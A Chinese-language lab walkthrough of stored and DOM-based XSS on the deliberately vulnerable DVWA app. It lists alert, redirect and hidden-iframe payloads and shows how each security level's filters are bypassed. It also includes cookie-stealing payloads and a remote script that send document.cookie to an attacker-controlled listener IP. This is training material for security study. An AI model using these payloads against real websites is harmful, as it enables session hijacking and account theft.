一.存储型XSS
存储型XSS攻击原理图:
(一)LOW
1.从代码可以看到,没有防御XSS漏洞,只防御了SQL注入漏洞
尝试一般的XSS攻击
在message栏中测试:
<script>alert(‘x’)</script>
<body οnlοad=alert(‘xss’)>
<a href=http://www.baidu.com>clock
<img src=1 οnerrοr=alert(‘xss’)>
<a href=’’ οnclick=alert(‘xss’)>click
重定向:
<script>window.location=’http://www.baidu.com’</script>
<script>window.location=’http://192.168.31.2’</script>
<iframe src=‘http://192.168.10.10.141/a.jpg’ height=‘0’ width=‘0’></iframe>
获取cookie:
<script>alert(document.cookie)</script>
<script>new Image().src=“http://192.168.10.141/c.php output=”+document.cookie;</script>
1.在DVWA message栏中设置字节长度,输入<script>new Image().src=“http://192.168.70.133/cookie.php?output=”+document.cookie;</script>,然后再kali中开启监听,下图可可以看到获取到DVWA中的cookie信息
2.加载远端服务器的js脚本
制作一个js脚本
var img=new Image();
img.src=‘http://192.168.70.133:88/cookie.php?cookie=’+document.cookie;
把js脚本放到web站点中,开启web服务
在DVWA栏中输入<script src=’http://192.168.70.133/a.js’></script>
(二)Medium
1.分析源代码,可以看到对$message参数做了很严格的过滤(进行html实体转义以及转义SQL语句中使用的特殊字符,杜绝了对$message关于xss的利用),但对$name参数做的过滤不严格,只是替换<script>以及转义SQL语句中使用的特殊字符,可以使用别的html标签对$name参数的防护进行绕过
2.绕过DVWA medium级别
<Script>alert(‘x’)</script>
<body οnlοad=alert(‘xss’)>
<a href=’’ οnclick=alert(‘xss’)>click</a>
(三)High
1.分析源码,可以看到相比较中级而言,高级对$nam参数多了对<script>严格的过滤,没有对别的标签做过滤,但可以通过别的html标签来进行绕过
2.绕过
<body οnlοad=alert(‘xss’)>
<a href=’’ οnclick=alert(‘xss’)>click</a>
(四)将DVWA的级别设置为Impossible
1.分析源码可以看到,对两个参数都做了html实体转义,无法利用xss
二、DOM型XSS
文本对象模型
可储存型,可反射型,取决于输出地点
<script>alert(/xss/)</script>
</option></select><img src=1 οnerrοr=alert(/xss/)>
<script>var img=document.createElement(‘img’);img.src=‘http://192.168.10.143:88/log?’+escape(document.cookie);
1.在DVWA中反射型xss中输入
2.在192.168.70.133主机上开启监听,可以看到